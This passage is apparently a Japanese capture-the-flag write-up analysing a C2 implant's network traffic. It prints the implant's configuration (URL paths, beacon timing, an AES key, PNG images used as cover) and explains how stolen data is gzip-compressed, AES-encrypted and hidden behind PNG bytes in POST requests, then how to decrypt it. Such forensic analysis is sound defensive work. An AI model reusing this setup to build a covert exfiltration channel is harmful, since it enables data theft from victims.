"Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine" killDate : 2025-01-01 sleep : 3s jitter : 0.2 key2 : nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ= stringIMGS : "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"
これ以降の通信の暗号化については、key2を変わりに使うくらいで他にめぼしい変化はない。
POSTを使ってクライアントからC2にデータを送っている。
Execメソッドを見ると、どのようにデータを送信しているかがわかる。
応答データはs = Program.Encryption(key, cmd, true, null);
のようにEncryptionメソッドに渡している。
ここでは、これまで同様にAESでnUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
を鍵としてIVは先頭にくっつけて暗号化しているが、
異なる点があり、1点暗号化前にgzipで圧縮している。
こうしてできたpayloadをpngファイルの末尾にくっつけて送っている。Program.ImgGen.GetImgData(cmdoutput);
にある処理。
送っているデータの先頭1500bytesはpngファイルとゴミファイルであるため、実際のデータは1500bytes分skipして解釈する必要がある。
なので、POSTで何を送っているかを確認したい場合をおさらいすると以下のようになる
- 先頭1500bytes分はゴミデータなので消す
- さらに先頭16bytes分はAESで使うIVなので取り出す
- 鍵を
nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
、IVは手順2のものを使ってAESのCBCで復号化 - データをgunzipする(ここが一番の注意点だが、CyberChefのgunzipではエラーになるのでC#でgunzipすること)
盗まれたデータを解析するのが今回の問題なので、怪しい所を探っていくと最後にPOSTされたパケットNo.7242のデータを復号化すると
画面のスクリーンショットが得られる。
ここにフラグが書いてある。